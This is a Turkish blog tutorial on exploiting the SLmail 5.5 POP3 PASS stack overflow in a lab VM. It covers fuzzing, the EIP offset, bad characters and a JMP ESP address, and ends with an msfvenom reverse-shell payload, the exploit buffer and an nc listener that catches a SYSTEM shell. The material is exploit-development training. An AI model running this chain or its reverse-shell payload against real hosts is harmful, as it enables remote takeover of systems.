Seattle Lab Mail (SLmail) 5.5 Üzerinde Stack Tabanlı Bellek Taşma Zafiyetinin İstismarı

2
428
views
Uygulamanın çalıştığı sınırlı bir alana, kapasitesinden fazla veri depolanamaya çalışılması durumunda, yeterli güvenlik önlemleri alınamadıysa bellek üzerinde taşma meydana gelebilir. Bu yazıda, Seattle Lab Mail (SLmail) 5.5 uygulamasındaki Stack tabanlı Buffer OverFlow zafiyeti istismar edilecek ve uygulamayı çalıştıran kullanıcı yetkileri (NT AUTHORITY\SYSTEM) ile erişim elde edilecektir.

A) Temel Kavramlar

Bellek yapısı (sanal bellek, bellek segmentleri, stack), yazmaçlar (registers, Instruction Pointer, Little Endian ve Big Endian kavramları) ve Assembly komutları ile ilgili temel bilgiler için SiberPortal kaynağındaki Exploitation’dan Önce yazıları incelenebilir. Bu yazı için bilinmesi gereken temel kavramlar aşağıdaki gibi sıralanabilir.

  • EIP (Extended Instruction Pointer): CPU’nun kod segmentinde çalıştıracağı komutun adresini gösterir. Böylece bir fonksiyona sonlandığında, geri dönüş adresinin neresi olduğu kaybedilmemiş olur.
  • ESP (Extended Stack Pointer): Stack veri yapısının son giren (yani ilk çıkacak) elemanın adresini, yani Stack’in en üstünü (en düşük adres değeri) gösterir.
  • ESP (Extended Stack Pointer): Stack veri yapısının son giren (yani ilk çıkacak) elemanın adresini, yani Stack’in en üstünü (en düşük adres değeri) gösterir.
  • EBP (Extended Base Pointer): Stack veri yapısının tabanını (ilk giren, son çıkacak elemanı) gösterir.

 

Belleğin 3 ana parçası aşağıdaki gibidir.

  • Kod Segmenti: İşlemcinin çalıştırdığı komutlardır.
  • Veri Segmenti: Değişkenler ve dinamik buffer yer alır.
  • Stack: PUSH ile yığının en üstüne eklenir ve ESP değeri daha düşük bir adresi işaret eder. POP ile yığından çıkarılarak register’a kaydedilir ve ESP değeri daha yüksek bir adresi işaret eder.

Bu yazıdaki ana amaç; EIP adresinin yerini tespit ederek, EIP değerini JMP ESP adresi olarak değiştirme yolu ile uygulamanın normal akışına müdahele etmek ve hazırlanan ters bağlantı sağlayacak kodu çalıştırmaktır.

 

B) Dosya İndirme İşlemleri

Ortamın hazırlanması için ilk olarak Microsoft’un sitesinden Windows 7 indirilebilir.

https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/

Windows ortamı hazırlamak için aşağıdaki kaynaklardan işletim sistemi kurulum dosyaları indirilebilir.

https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/

Home


https://the-eye.eu/public/MSDN/
https://www.microsoft.com/en-us/evalcenter/
https://github.com/magnetikonline/linux-microsoft-ie-virtual-machines/tree/master/vmarchiveset

Not: Bu yazıda, işletim sistemi olarak yeni bir sanal makine indirmek yerine, mevcuttaki bir 32 bitlik Microsoft Windows 7 Professional N (6.1.7600 N/A Build 7600) işletim sistemi kullanılmıştır.

İkinci olarak zafiyetin bulunduğu Seattle Lab Mail (SLmail) 5.5 uygulaması internetten indirilir.

https://www.exploit-db.com/exploits/638/

Benzer amaçla kullanılabilecek diğer uygulamalar ve istismar kodları aşağıdaki gibi sıralanabilir. Bu uygulamaları istismar işlemi gerçekleştirmek için Windows XP işletim sistemi kullanılması tavsiye edilmektedir.

  • PCMan FTP Server 2.0.7 – ‘GET’ Remote Buffer Overflow: https://www.exploit-db.com/exploits/38003
  • WarFTP 1.65 – ‘USER’ Remote Buffer Overflow: https://www.exploit-db.com/exploits/3570
  • MiniShare 1.4.1 – Remote Buffer Overflow: https://www.exploit-db.com/exploits/616
  • Freefloat FTP Server 1.0 – ‘MKD’ Remote Buffer Overflow: https://www.exploit-db.com/exploits/17539
  • Vulnserver: http://www.thegreycorner.com/p/vulnserver.html

İstismar kodlarına ait bir liste için aşağıdaki Github reposu kullanılabilir.

https://github.com/rafaveira3/exploits

 

Not: Eski sürüm uygulamaları indirmek için kullanılabilecek diğer aşağıdaki gibi sıralanabilir.

http://www.oldapps.com/
http://www.oldversion.com/

 

Üçüncü olarak Immunity Debugger uygulaması indirilir.

https://www.immunityinc.com/products/debugger/

 

Kayıt işlemi için rastgele değerler girilebilir.

 

Dördüncü ve son olarak da Corelan Team tarafından hazırlanan Mona betiği indirilir.

https://github.com/corelan/mona

 

C) Kurulum İşlemleri

Dosyalar indirildikten sonra; işletim sistemindeki güvenlik duvarının, güncellemelerin, UAC kontrolünün devre dışı bırakılması tavsiye edilmektedir. Sonra da (daha az yer kaplaması için) kapalı olarak snapshot alınabilir.

 

Seattle Lab Mail (SLmail) 5.5 kurulumu varsayılan şekilde (Next-Next) gerçekleştirilir.

 

Not: SLmail kurulumu sonrasında bilgisayar yeniden başlatılabilir.

Immunity Debugger varsayılan şekilde (Next-Next) kurulabilir.

 

Eğer yüklü değilse, Immunity Debugger kurulumu sonrasında otomatik olarak Python kurulumu da gerçekleştirilir.

 

İndirilen “mona.py” betiği Immunity Debugger uygulamasının kurulu olduğu dizindeki PyCommands klasörünün altına (“C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands” dizinine) kopyalanır. Mona ile ilgili ayrıntılı bilgi için kaynaklardaki Ericalleshouse belgesi incelenebilir.

 

D) Genel Ortam Bilgisi

SLmail uygulaması SLmail.cpl adlı denetim masası nesnesi olarak veya başlat çubuğundan başlatılabilir.

C:\Windows\System32\control.exe SLmail.cpl

 

Böylece TCP\110 portundan hizmet verilmeye başlamıştır.

 

Bir uygulamanın akışını Immunity Debugger’da izlemek için, Immunity Debugger yönetici hakları ile başlatıldıktan sonra, ilgili uygulama Attach edilebilir veya ilgili uygulama doğrudan Immunity Debugger üzerine sürüklenebilir. Attach işleminden önce Immunity Debugger durumunun Ready olduğu görülmektedir.

File -> Attach VEYA CTRL + F1

 

Attach işlemi sonrasında ise, durumun Paused olarak değiştiği görülür.

 

Uygulamayı Immunity Debugger’da çalıştırmak için Play butonuna basılır.

Debug -> Run VEYA F9

 

Uygulamanın çalıştırıldığında Running durumuna geçtiği görülmektedir.

 

Not: Gerçekleştirilen her debug işleminden sonra, uygulama cevap veremez hale geldi ise; önce Immunity Debugger kapatılmalı, sonra da SLmail uygulaması yeniden başlatılarak Immunity Debugger üzerinde Attach ve Run işlemleri yapılmalıdır.

Not: Çalışma öncesinde mona betiği tarafından oluşturulan logları kaydetmek için bir dizin oluşturularak bu dizin adı mona betiği ile belirlenebilir.

!mona config -set workingfolder C:\Users\Public\%p

 

E) SLMail Uygulamasının Çalışma Şekli

Mevcut veya yeni oluşturulan bir kullanıcının kimlik bilgileri (“deneme” & “Dd123456”) kullanılarak SLMail uygulamasına bağlanıldığında mail kutusuna erişim sağlanabilmektedir.

telnet 192.168.100.140 110
USER deneme
PASS Dd123456

 

Parola gönderimi için aşağıdaki gibi bir betik kullanılabilir.

 

Bunun yanında mevcuttaki kullanıcının parolası hatalı girildiğinde ise parolanın yanlış olduğu mesajı ile karşılaşışmaktadır.

telnet 192.168.100.140 110
USER deneme
PASS HataliParola

 

Olmayan bir kullanıcı ile oturum açılmaya çalışıldığında ise, mail kutusunun açılamadığına dair daha farklı bir mesaj ile karşılaşılmaktadır.

telnet 192.168.100.140 110
USER OlmayanHesap
PASS Parola123

 

Seattle Lab Mail (SLmail) 5.5’deki POP servisinde kimlik doğrulamasız şekilde uzaktan tetiklenebilen komut çalıştırma zafiyeti bulunmaktadır. Seattle Lab Mail (SLmail) 5.5’te oturum açılırken, PASS komutundan sonra girilen değer çok büyükse, bellek taşması olmaktadır. Şöyle ki, 3000 karakterli bir parola girildiğinde PASS komutunun tanınamadığına dair bir hata mesajı ile karşılaşılmaktadır. Kısacası, 3000 karakterli bir parola değerinde bellek taşmaktadır.

python -c ‘print “A”*3000’

telnet 192.168.100.140 110
USER BirHesap
PASS AAA…AAA

 

SLMail.exe prosesi Immunity Debugger’a attach edildiğinde ESP, EIP ve EBP register değerlerinin “A” karakterinin HEX değeri (41) ile dolduğu ve Debugger’ın bellek ihlali ile karşılaşarak durduğu görülmektedir.

Access violation when executing

 

Bu gibi bir durum karşısında önce Immunity Debugger kapatılır, sonra SLMail uygulaması durdurularak yeniden başlatılır. Eğer ihtiyaç duyulursa Attach işlemi yeniden gerçekleştirilir.

 

F) Uygulamada Taşmanın Gerçekleştiği Adresin Yaklaşık Olarak Tespiti

Bellek taşmasına sebep olan parola uzunluğunu tespit etmek için fuzzer.py betiği kullanılabilir.

https://github.com/jessekurrus/slmailsploits/blob/master/fuzzer.py

Betik içeriği incelendiğinde; 1, 100, 300, 500,…, 3700, 3900 adet “A” karakterinden oluşan “buff” adlı bir dizin oluşturulmakta ve her defasında bu ifade hedef uygulamaya parola olarak gönderilmektedir.

fuzzer.py adlı betik çalıştığında 2500 adet “A” karakterinden sonra, SLMail uygulamasına yeni bir bağlantı kurularak 2700 adet “A” karakterinin gönderilebildiği görülmektedir. Bunun yanında 2700 adet “A” karakteri gönderildikten sonra ise, 2900 tane “A” karakterini göndermek için bağlantı kurulamadığı; yani 2700 karakterli bir parolanın uygulamayı çalışamaz hale getirdiği görülmektedir.

python fuzzer.py 192.168.100.140 110

 

Bu işlem sonucunda EIP değeri 41414141 olmuştur.

Not: Mevcut uygulama ile crash olmakta ve kod çalıştırılabilmektedir. Ancak her crash olan uygulama, SLMail uygulamasındaki gibi istismar edilemeyebilir.

 

G) Crash Edilen Adresin Tam Değerinin Tespiti

Paroladaki tüm karakterleri “A” vermek yerine, bilinen/sıralı bir ifade (Aa0 Aa1 Aa2 … Ab0 Ab1 Ab2 …) verildiğinde EIP adresine karşılık gelen değerin paroladaki yeri tespit edilebilir. Bu amaçla MSF’in pattern_create.rb betiği kullanılabilir.

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2700

 

Benzer değeri oluşturmak için mona betiği de kullanılabilir.

!mona pattern_create 2700
(veya) !mona pc 2700

 

Bu betik ile oluşturulan değeri Immunity Debugger kurulum dizininin içinde pattern.txt dosyasına yazılmıştır.

C:\Program Files\Immunity Inc\Immunity Debugger

 

Dosya içeriğinde 3 formatta değer oluşturulduğu görülmektedir.

  • ASCII
  • HEX
  • JAVASCRIPT (unescape() friendly)

 

Bu parola değeri ile bağlantı kurulmaya çalışıldığında EIP değerinin 39694438 olduğu görülmektedir.

 

Parolayı daha önce belirtildiği gibi programatik olarak gönderen örnek betik aşağıdaki gibidir.

https://github.com/jessekurrus/slmailsploits/blob/master/poc.py

 

EIP değerinin başladığı yerin tespiti için MSF’in pattern_offset.rb betiği kullanılabilir.

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 39694438

 

Benzer değeri oluşturmak için mona betiği de kullanılabilir.

!mona pattern_offset 39694438
(veya) !mona po 39694438

 

Kısacası, offset 2606. karakter olarak tespit edilmiş olur. Yani; EIP içerisindeki adres değeri, parolanın 2606. karakterinden sonraki 4 byte olarak, 2007-2010 arasında yer alır. Parola değeri için ilk 2600 karakter “A”, sonraki 4 karakter “B” olarak gönderildiğinde, yine bellek taşmasının gerçekleştiği görülmektedir.

python -c ‘print “A” * 2606 + “B” * 4’

telnet 192.168.100.140 110
USER OlmayanHesap
PASS AAA…AAABBBB

 

Bellek taşması sonucunda EIP değerinin “B” karakterinin HEX karşılığı olan 42 değeri yerleşmiştir.

 

Benzer işlem betik.py dosyasında da gerçekleştirilebilirdi.

parola = “A” * 2606 + “B” * 4

 

Bu aşamada kullanılabilecek örnek betik aşağıdaki gibidir.

https://github.com/jessekurrus/slmailsploits/blob/master/poc2.py

 

Not: Normalde crash edilen adresin keşfinden sonra, zararlı kod (ShellCode) eklenebilecek alanın hesaplanması gereklidir. Ters bağlantı sağlayan standart bir payload, yaklaşık olarak 350-400 byte bir alana ihtiyaç duyar. SLMail uygulamasında bu alan mevcuttur ve SLMail uygulaması için bu hesaplama yapılmayacaktır.

 

H) Bad Karakterlerin Tespiti

Hazırlanan betikte, parola alanının aşağıdaki gibi tanımlanmıştı.

s.send(‘PASS ‘ + parola + ‘\r\n’)

 

Yani parola ifadesi çok uzun (2606 karakterden daha uzun) olsa bile, bu karakterler içerisinden birisinde “\r” veya “\n” ifadesinin HEX karşılığı (“0x0A” ve “0x0D“) geçerse, parolanın sonlandığı ve devamının okunmayacağı anlaşılabilir. Bu sebeple bu karakterlerin parola değerinde olmaması gereklidir. Bu gibi karakterler genel olarak Bad Characters ile ifade edilir. Bu karakterler; buffer, geri dönüş adresi veya kullanılacak ShellCode içerisinde bulunmaması gereklidir.

Not: Bir ASCI karakterin HEX karşılığı için kaynaklardaki BlueSock sitesi incelenebilir.

Tüm bad karakterlerin listelenmesi için mona betiği kullanılabilir.

!mona bytearray

 

HEX karşılığı “0x00” olan NULL karakter, de genel olarak istenmeyen karakterlerdendir. Bu karakter olmadan kullanılabilecek tüm HEX değerleri aşağıdaki gibi sıralanabilir.

 

Bu karakterler kullanılarak betikteki parola değeri aşağıdaki gibi güncellenebilir.

 

Not: Bu alan, istenilen bir kodu (ShellCode) yerleştirmek için kullanılacaktır.

Bu aşamada kullanılabilecek örnek betik aşağıdaki gibidir.

https://github.com/jessekurrus/slmailsploits/blob/master/poc3.py

 

Not: Sol alt penceredeki adres değerinin, ESP’nin gösterdiği alana odaklanması için, sağ üstteki Registers (FPU) penceresinde, ESP ifadesi/değeri sağ tıklanarak “Follow in Dump” seçimi yapılmıştır.

 

Ayrıca, sol alt pencerenin daha okunaklı olması için, ifadeler 16 byte‘lık olacak şekilde sıralanmıştır.

 

betik.py çalıştırıldığında; 2606 tane “A” karakterinden (ASCI değeri “\x41”) sonra 4 tane “B” karakteri (ASCI değeri “\x42”) gelmektedir. Bu aşamada EIP ile belirtilen adrese (42424242) erişilemediği için uygulama crash olmakta ve ESP register’ındaki adreste Karakterler değişkeni içinde belirtilen karakterler bulunmaktadır. Aşağıdaki ekran görüntüsünde de görüldüğü gibi, “Karakterler” katarındaki HEX değerleri “\x09” ifadesine dek sıralı gelmekte iken; “\x09” den sonra (“\x0a” –> “\r”) HEX ifadelerindeki serinin bozulduğu görülmektedir.

 

Bu da demek oluyor ki; “\x0a” ifadesi, uygulama tarafından parola değeri olarak alındığında düzgün bir şekilde yorumlanamamaktadır. Bu sebeple “Karakterler” katarından “\x0a” ifadesi kaldırılmalıdır.

Karakterler = (
“\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0d\x0e\x0f\x10”
“\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20”

“\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff” )

 

betik.py bu şekilde çalıştırıldığında, “\x0c” ifadesinden sonra (“\x0d” –> “\n”) serinin bozulduğu görülmektedir.

 

Bu da demek oluyor ki; “\x0d” ifadesi, uygulama tarafından parola değeri olarak alındığında düzgün bir şekilde yorumlanamamaktadır. Bu sebeple “Karakterler” katarından “\x0d” ifadesi de kaldırılmalıdır.

Karakterler = (
“\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10”
“\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20”

“\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff” )

 

betik.py bu şekilde çalıştırıldığında, serinin artık bozulmadığı görülmektedir.

 

Böylece, “\x0a” ve “\x0d” ifadelerinin uygulama akışını bozduğu anlaşılmıştır. Bu sebeple belirtilen 3 değerin parola ile belirtilen ifade içinde (ShellCode, EIP adresi gibi) olmaması gereklidir.

Bu aşamada kullanılabilecek örnek betik aşağıdaki gibidir.

https://github.com/jessekurrus/slmailsploits/blob/master/poc5.py

 

Not: Mona betiği ile bad karakterler elenerek bir dizi de oluşturulabilir.

!mona bytearray -cpb “\x00\x0a\x0d”

 

I) ESP’de Saklanan Adrese Erişim Yöntemi

Mevcut durumda (tam adres değeri bilinmeyen) ESP’nin adresinden tespit edilebilecek şekilde EIP ve ShellCode’un yönetilebildiği görülmüştür. Ayrıca kullanılmaması gereken 3 karakter de tespit edilmiştir. Bellek taşması olduğunda, uygulama akışı ESP’nin belirttiği adrese yönlendirilebilirse, istenen ShellCode çalıştırılabilecektir. Bunun için de EIP’nin gösterdiği adresin ESP’nin gösterdiği alana yönlendirilmesidir. Bu yönlendirme sayesinde uygulama bilinmeyen bir bellek alanına (42424242 gibi) yönlenerek crash olmayacak, ShellCode olarak verilen komut çalışacaktır. EIP’yi ESP’ye yönlendirmek için; ESP’ni o andaki değerini bilmek gereklidir. ESP’nin sakladığı adres de her crash işleminde değişmektedir. Bu sebeple daha stabil şekilde bu adres tanımlanmalıdır.

Bir uygulama çalıştığında arkaplanda bu uygulama ile beraber çalışacak şekilde DLL kütüphaneleri, sürücüler (driver), modüller de belleğe yüklenir. Eski ve bellek güvenliğine önem verilmeyen işletim sistemlerinde, bilgisayar veya uygulama yeniden başlasa da bu öğelerin bellekteki alanları değişmez ve kullanıcılar tarafından bu bellek alanları okunabilir veya yazılabilir. Bu bellek alanlarında aşağıdaki gibi komutlardan birisi tespit edilirse, EIP bu sabit adresli yere sıçrandığında ESP’nin o anda sakladığı adrese erişilmiş olur.

  • JMP ESP
  • PUSH ESP
  • RETN

Immunity Debugger ile incelenen uygulama için yüklenen tüm modülleri listelemek için Mona betiği kullanılabilir. Seçilecek modülde; (güvenlik mekanizmaları ile uğraşmamak / atlatmaya çalışmamak için) bellek koruma özelliğinin (ASLR, DEP, SEH, vb) etkin olmaması, (uygulama yeniden başladığında veya) bilgisayar yeniden başlatıldığında uygulamanın bellekteki adresinin yerinin değişmemesi (Rebase False olması) ve bu modülün adresinde (Base kolonunda) bad karakter (“\x00”, “\x0a” veya “\x0d”) olmaması gereklidir. Temel olarak bu 3 kritere uyan, 0x5F400000 adresine yüklenen SLMFC.dll tercih edilebilir. Bunun yanında benzer kriterlere uyan diğer nesneler de tercih edilebilirdi.

!mona modules

Resmin devamı:

 

Not: Tüm modülleri sıralamak yerine işletim sistemi modüllerini listelememek için “-o” parametresi kullanılabilir. Bu durumda da, temel alınan 3 kritere uyan, 0x00400000 adresine yüklenen SLmail.exe prosesi veya 0x0045C000 adresine yüklenen ARM.dll kütüphanesi tercih edilebilir.

!mona modules -o

 

J) EIP’ye Atanacak Adresin Tespiti

Kriterlere uygun bir kütüphane, proses, sürücü tespitinden sonra bu öğede JMP ESP komutu aranacaktır. Bunun için öncelikle JMP ESP’nin işlem kodu (opcode) tespit edilmelidir. Bu amaçla MSF nasm_shell.rb betiği kullanılabilir.

ruby /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
JMP ESP

 

Böylece JMP ESP’nin işlem kodunun “\xFF\xE4” olduğu görülmüştür. Bu ifade, SLMFC.dll kütüphanesinde mona betiği ile aratılabilir.

!mona find -s “\xff\xe4” -m slmfc.dll

 

Çıkan 19 sonuçtan birisi (örneğin; en üstteki 5F4A358F) tercih edilebilir. “Enter expression to follow” ikonuna tıklanarak gelen pencere kullanılarak bu adrese gidildiğinde JMP ESP komutunun gerçekten de o adreste olduğu (yanlış bir sonuç elde edilmediği) görülebilir.

 

Not: mona betiği ile “\xFF\xE4” araştırmasında çıkan sonuçlarda ilgili adrese gidilip kontrol etmekte fayda vardır. “\xFF” ifadesi bir veri veya komut, “\xE4” ifadesi de bir sonraki komut olarak (32 bit mimari için “Input from Port” komutu) konumlanmışsa, “\xFF\xE4” ifadesi belirtilen adreste JMP ESP olarak yorumlanmaz.

Not: SLMFC.dll kütüphanesi yerine SLmail.exe prosesi tercih edilse idi, JMP ESP komutunun geçtiği tek bir adres (0043B9FB) tespit edilirdi.

!mona find -s “\xff\xe4” -m SLmail.exe

 

Ancak 0043B9FB adres değerinde bad karakterlerden birisi (“\x00”) olduğu için, SLmail.exe prosesi değil, SLMFC.dll kütüphanesi içerisindeki JMP ESP’nin bulunduğu adres esas alınacaktır.

Benzer olarak; SLMFC.dll kütüphanesi yerine ARM.dll kütüphanesi tercih edilse idi, JMP ESP komutunun geçtiği 3 adreste de “\x00” bad karakteri olduğu için hatalı sonuçlar elde edilecekti.

!mona find -s “\xff\xe4” -m ARM.dll

 

Sonuç olarak EIP’nin alacağı değer JMP ESP’nin olduğu 5F4A358F adresi olarak seçilebilir. Böylece SLMail uygulaması crash olduğunda, programa akışı EIP’nin gösterdiği adrese (5F4A358F) yönlenecek ve bu adresteki komut (JMP ESP) çalışacaktır. Böylece program akışı ESP’nin gösterdiği adresten devam edecek ve o alanda yer alan ShellCode çalışacaktır.

 

K) Mevcut Durumun İncelenmesi

Hazırlanan betik.py içerisinde EIP için ayrılan “42424242” (ASCII olarak “B” * 4 ile belirtilen alana) HEX ifadesi yerine, “5F4A358F” adresi eklenebilir. Mevcut işletim sisteminde adres gösterimi Little Endian formatında olduğu için; EIP olarak belirtilen alana , JMP ESP komutunun geçtiği adres “\x8F\x35\x4A\x5F” olarak eklenebilir.

parola = “A” * 2606 + “\x8F\x35\x4A\x5F” + Karakterler

 

SLMail uygulamasına betik.py’nin son hali ile talepte bulunulduğunda, 2606 tane A karakteri Stack’e dolduktan sonra, EIP ile belirtilen adrese önce 5F4A358F adresindeki komut yüklenmiş, sonrada bu komut işlenerek ESP’nin gösterdiği adres EIP’ye yüklenmiştir.

 

Not: Sol alt pencerede ESP’nin bulunduğu alana odaklanmak için; sağ üst penceredeki ESP değeri sağ tıklanarak, “Follow in Dump” seçimi yapılmıştır.

Bu noktadan sonra da Karakterler ile ifade edilen değerler komut ve veri olarak işlenmeye devam edilecektir. Uygulamanın EIP’de durması için betik.py çalıştırılmadan önce, 5F4A358F adresine bir breakpoint konulabilir ve uygulamanın akışı incelenebilir.

 

Böylece programın 5F4A358F adresine gelince JMP ESP komutu çalıştırılmadan bekletilmesi sağlanacaktır.

 

betik.py benzer şekilde çalıştırıldığında, Immunity Debugger 5F4A358F adresinde SLMail uygulamasının çalıştırmayı durdurmuştur.

 

Breakpoint noktasında duran uygulamayı adım adım ilerletmek için “Step Into” (F7) tuşuna baıldığında, EIP’nin gösterdiği adres değerinin ESP’nin gösterdiği değer (01B7A128) olarak değiştiği ve program akışının Karakterler ile belirtilen HEX değerler ile devam ederek, bu değerleri komut / veri olarak işlediği görülmektedir.

 

L) Ters Bağlantı Elde Etme

Özetle program akışı Karakterler diye belirtilen alana kadar kontrol edilebilmiştir. Eğer Karakterler ile belirtilen alanda “01 02 03 …” gibi işlem komutları (opcode) veya veriler yerine istismar sonrası çalıştırılmak istenen işlem komutları ve veriler yazılırsa, program akışı istediğimiz şekilde yönlenecektir. Bu amaçla ters bağlantı sağlayacak bir ShellCode tercih edilebilir. ShellCode üretimi için, MSF üzerindeki MSFVenom aracı kullanılabilir.

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.100.141 LPORT=5678 -f py -b ‘\x00\x0a\x0d\’ -e x86/shikata_ga_nai

 

Not: ShellCode çok fazla yer kaplamaması için Staged bir payload (windows/shell/reverse_tcp) değil, Non-Staged bir payload (windows/shell_reverse_tcp) tercih edilmiş olup 351 byte’lık bir alana itiyaç duymaktadır. Ters bağlantı elde edildikten ve belleğe erişim sağlandıktan sonra, yetkiler dahilinde istenilen komut çalıştırılabilir, daha güçlü / büyük boyutlu bir payload çalıştırılabilir. Ayrıca ShellCode içerisinde uygulamaya ait bad karakterleri (“\x00\x0a\x0d\”) barındırmaması için, bu karakterler “-b” parametresi ile belirtilmiştir. Hazırladığımız betik, Python betiği olduğu için de çıktı formatı “-f” parametresi ile belirtilmiştir.

Elde edilen ShellCode içeriği, betik.py içerisindeki Karakterler değişkeni yerine konulduğunda program akışı, MSFVenom ile hazırlanan ters bağlantı içeriğine yönlenecektir.

buf = “”
buf += “\xd9\xc8\xd9\x74\x24\xf4\xbe\xbd\x1f\xa2\x1e\x5b\x29”

buf += “\x6e\x67\xb2\x87\x38\xd1\x74\x7e\x8b\x8b\x2e\x2d\x45”

parola = “A” * 2606 + “\x8F\x35\x4A\x5F” + buf

 

Bunun yanında, EIP adresinin yönleneceği adresteki MSFVenom’daki komutlar çalıştırılmadan önce bir miktar NOP ifadesi (32 bitlik işlemci için işlem kodu “\x90” HEX değeri olan no operation komutu) padding olarak eklenerek, olası hatalı çalışmaların önüne geçilebilir. Son durumda betik.py içeriği aşağıdaki hale gelmiş olur.

parola = “A” * 2606 + “\x8F\x35\x4A\x5F” + “\x90” * 10 + buf

 

betik.py bu hali ile çalıştırıldığında ters bağlantının elde edilmesi beklenmektedir. Ters bağlantı elde etmeden önce; EIP, ESP gibi register’ların doğru şekilde yüklendiğinden emin olmak için, Immunity Debugger üzerinde EIP’nin bulunduğu adrese (5F4A3595) breakpoint konularak betik.py çalıştırılınca konumlandırmada bir hata olmadığı görülmektedir. EIP’nin gösterdiği adreste JMP ESP komutunun bulunduğu, ESP’nin gösterdiği adreste de 10 tane NOP, sonrasında da çalıştırmak istediğimiz ShellCode’un yüklü olduğu görülmektedir.

 

betik.py bu şekilde çalıştığında TCP\5678 portuna ters bağlantı elde edilecektir. Bu bağlantıyı yakalayacak olan dinleyici nc aracı ile başlatılabilir.

nc -nlvp 5678

 

Immunity Debugger’da breakpoint ile duraklatılan program akışı F9 ile devam ettirildiğinde, uygulamanın çalıştığı kullanıcı yetkisi ile ters bağlantı elde edildiği görülmüş olur.

Bu aşamada kullanılabilecek örnek betik aşağıdaki gibidir.

https://github.com/jessekurrus/slmailsploits/blob/master/slmailsploit.py

 

Not: SLMail uygulaması NT Authority\SYSTEM kullanıcı yetkisi ile çalıştığı için ters bağlantı da bu yetki ile alınmıştır.

 

Kaynaklar:

https://www.youtube.com/watch?v=OOkU7to0Ty4
https://github.com/jessekurrus/slmailsploits

https://www.aboureada.com/buffer_overflow/2016/02/20/win32_buffer_overflow_exploitation.html

Exploitationdan Önce – 1: Bellek Hakkında

Exploitationdan Önce – 2: x86 ve Yazmaçlar

Exploitationdan Önce – 3: x86 Assembly Dili


https://bluesock.org/~willg/dev/ascii.html
http://www.greycel.com/2017/04/15/Handy-Commands-ExpDev/

Finding Bad Characters with Immunity Debugger and Mona.py


http://mesuttimur.com/bellek-tasmasi-zafiyetleri/

 

 

 

2 YORUMLAR

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz